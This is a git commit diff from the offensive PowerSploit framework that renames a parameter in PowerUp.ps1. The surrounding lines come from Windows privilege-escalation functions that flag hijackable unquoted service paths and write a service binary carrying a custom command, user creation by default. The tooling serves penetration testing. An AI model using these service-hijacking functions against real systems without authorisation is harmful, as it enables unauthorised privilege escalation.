diff options
author | Harmj0y <will@harmj0y.net> | 2016-06-07 13:00:14 -0400 |
---|---|---|
committer | Harmj0y <will@harmj0y.net> | 2016-06-07 13:00:14 -0400 |
commit | 5d7fe6b10047f95ffdd8292419dec437c6e14244 (patch) | |
tree | afa427b4e0b9aef96c4e57f3bcfa4f2dd1dae78e | |
parent | b6306a0d8c356d23a00a8fb2288683bffa2b492c (diff) | |
download | PowerSploit-5d7fe6b10047f95ffdd8292419dec437c6e14244.tar.gz PowerSploit-5d7fe6b10047f95ffdd8292419dec437c6e14244.zip |
Corrected -Path parameter in Write-ServiceBinary
-rw-r--r-- | Privesc/PowerUp.ps1 | 12 |
1 files changed, 6 insertions, 6 deletions
diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 8dd14c5..39e571a 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1458,7 +1458,7 @@ function Get-ServiceUnquoted { $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'ModifiablePath' $_ $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath <HijackPath>" + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -Path <HijackPath>" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } @@ -1896,7 +1896,7 @@ function Write-ServiceBinary { Custom command to execute instead of user creation. - .PARAMETER ServicePath + .PARAMETER Path Path to write the binary out to, defaults to 'service.exe' in the local directory. @@ -1960,7 +1960,7 @@ function Write-ServiceBinary { $Command, [String] - $ServicePath = "$(Convert-Path .)\service.exe" + $Path = "$(Convert-Path .)\service.exe" ) BEGIN { @@ -2011,11 +2011,11 @@ function Write-ServiceBinary { $Binary[$i+2535] = $CommandBytes[$i] } - Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force -ErrorAction Stop + Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name - $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'Path' $Path $Out | Add-Member Noteproperty 'Command' $ServiceCommand $Out } @@ -2176,7 +2176,7 @@ function Install-ServiceBinary { Write-Warning "Error backing up '$ServicePath' : $_" } - $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -ServicePath $ServicePath + $Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath $Result | Add-Member Noteproperty 'BackupPath' $BackupPath $Result } |